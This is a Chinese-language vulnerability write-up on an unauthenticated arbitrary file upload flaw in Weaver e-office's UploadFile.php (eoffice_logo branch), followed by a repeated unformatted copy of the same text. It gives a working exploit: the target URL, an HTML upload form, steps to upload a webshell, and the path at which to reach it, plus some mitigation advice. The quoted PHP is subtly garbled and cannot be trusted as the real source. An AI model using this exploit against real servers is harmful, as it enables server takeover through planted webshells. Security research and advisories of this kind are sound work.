某office前台任意文件上传漏洞分析
字数 958 2025-08-25 22:59:10

e-office前台任意文件上传漏洞分析与利用

漏洞概述

本文详细分析e-office系统中存在的一个前台任意文件上传漏洞,该漏洞位于/general/index/UploadFile.php文件中,攻击者无需登录即可上传任意文件到服务器,导致服务器被入侵的风险。

漏洞定位

漏洞点位于/general/index/UploadFile.php文件中,具体在$uploadType == "eoffice_logo"的条件分支下。

漏洞代码分析

关键漏洞代码

else if ($uploadType == "eoffice_logo") {
    $targetPath = $_SERVER['DOCUMENT_ROOT']."/images/logo/";
    if (!file_exists($targetPath)) {
        mkdir($targetPath, 511, true);
    }
    $ext = $_FILES['Filedata']['name']($_FILES['Filedata']['name']);
    $_targetFile = "logo-eoffice".$ext;
    $targetFile = str_replace(targetPath)."/".$_targetFile;
    
    if (move_uploaded_file($tempFile, $targetFile)) {
        // 数据库操作代码...
        echo $_targetFile;
    } else {
        echo 0;
    }
}

漏洞成因

  1. 缺乏文件类型检查:其他上传类型都有白名单过滤:

    if (!in_array(strtolower($ext), array(".jpg", ".jpeg", ".png", ".gif")))
    

    eoffice_logo类型没有进行任何文件类型检查。

  2. 文件名构造问题:直接使用上传文件的原始扩展名拼接文件名:

    $ext = $_FILES['Filedata']['name']($_FILES['Filedata']['name']);
    $_targetFile = "logo-eoffice".$ext;
    
  3. 数据库操作:上传成功后会将文件名存入数据库:

    INSERT INTO sys_para VALUES('SYS_LOGO','{$_targetFile}')
    
    UPDATE sys_para SET PARA_VALUE='{$_targetFile}' WHERE PARA_NAME='SYS_LOGO'
    

漏洞利用方法

1. 构造上传请求

上传URL格式:

http://target/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo

2. 上传表单示例

<html>
<title>泛微e-office文件上传</title>
<head></head>
<body>
<form action="http://target/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo" method="post" enctype="multipart/form-data">
    <input type="file" name="Filedata">
    <input type="submit" value="Upload">
</form>
</body>
</html>

关键点

  • 表单字段名必须为Filedata
  • 必须使用POST方法
  • 必须设置enctype="multipart/form-data"

3. 上传流程

  1. 访问上述HTML页面
  2. 选择要上传的文件(如webshell)
  3. 提交表单
  4. 文件将被上传到/images/logo/目录下,命名为logo-eoffice.[你的文件扩展名]

4. 手动修改请求

也可以通过Burp Suite等工具拦截并修改上传请求:

  1. 修改uploadType参数为eoffice_logo
  2. 确保文件字段名为Filedata
  3. 可以尝试修改文件扩展名

漏洞验证

成功上传后,服务器会返回上传的文件名,如:

logo-eoffice.php

然后可以访问:

http://target/images/logo/logo-eoffice.php

防御措施

  1. 补丁修复:升级到最新版本

  2. 临时解决方案

    • 限制/general/index/UploadFile.php的访问
    • 在Web应用防火墙中拦截可疑的上传请求
    • 监控/images/logo/目录下的文件变更
  3. 代码层面修复

    • 对所有上传类型实施严格的白名单过滤
    • 对上传文件名进行严格校验
    • 限制上传目录的执行权限

总结

该漏洞由于eoffice_logo类型上传缺乏必要的安全校验,导致攻击者可以上传任意文件。利用此漏洞,攻击者可以上传webshell获取服务器控制权,危害极大。建议用户及时更新系统或采取其他防护措施。

e-office前台任意文件上传漏洞分析与利用 漏洞概述 本文详细分析e-office系统中存在的一个前台任意文件上传漏洞,该漏洞位于 /general/index/UploadFile.php 文件中,攻击者无需登录即可上传任意文件到服务器,导致服务器被入侵的风险。 漏洞定位 漏洞点位于 /general/index/UploadFile.php 文件中,具体在 $uploadType == "eoffice_logo" 的条件分支下。 漏洞代码分析 关键漏洞代码 漏洞成因 缺乏文件类型检查 :其他上传类型都有白名单过滤: 但 eoffice_logo 类型没有进行任何文件类型检查。 文件名构造问题 :直接使用上传文件的原始扩展名拼接文件名: 数据库操作 :上传成功后会将文件名存入数据库: 漏洞利用方法 1. 构造上传请求 上传URL格式: 2. 上传表单示例 关键点 : 表单字段名必须为 Filedata 必须使用POST方法 必须设置 enctype="multipart/form-data" 3. 上传流程 访问上述HTML页面 选择要上传的文件(如webshell) 提交表单 文件将被上传到 /images/logo/ 目录下,命名为 logo-eoffice.[你的文件扩展名] 4. 手动修改请求 也可以通过Burp Suite等工具拦截并修改上传请求: 修改 uploadType 参数为 eoffice_logo 确保文件字段名为 Filedata 可以尝试修改文件扩展名 漏洞验证 成功上传后,服务器会返回上传的文件名,如: 然后可以访问: 防御措施 补丁修复 :升级到最新版本 临时解决方案 : 限制 /general/index/UploadFile.php 的访问 在Web应用防火墙中拦截可疑的上传请求 监控 /images/logo/ 目录下的文件变更 代码层面修复 : 对所有上传类型实施严格的白名单过滤 对上传文件名进行严格校验 限制上传目录的执行权限 总结 该漏洞由于 eoffice_logo 类型上传缺乏必要的安全校验,导致攻击者可以上传任意文件。利用此漏洞,攻击者可以上传webshell获取服务器控制权,危害极大。建议用户及时更新系统或采取其他防护措施。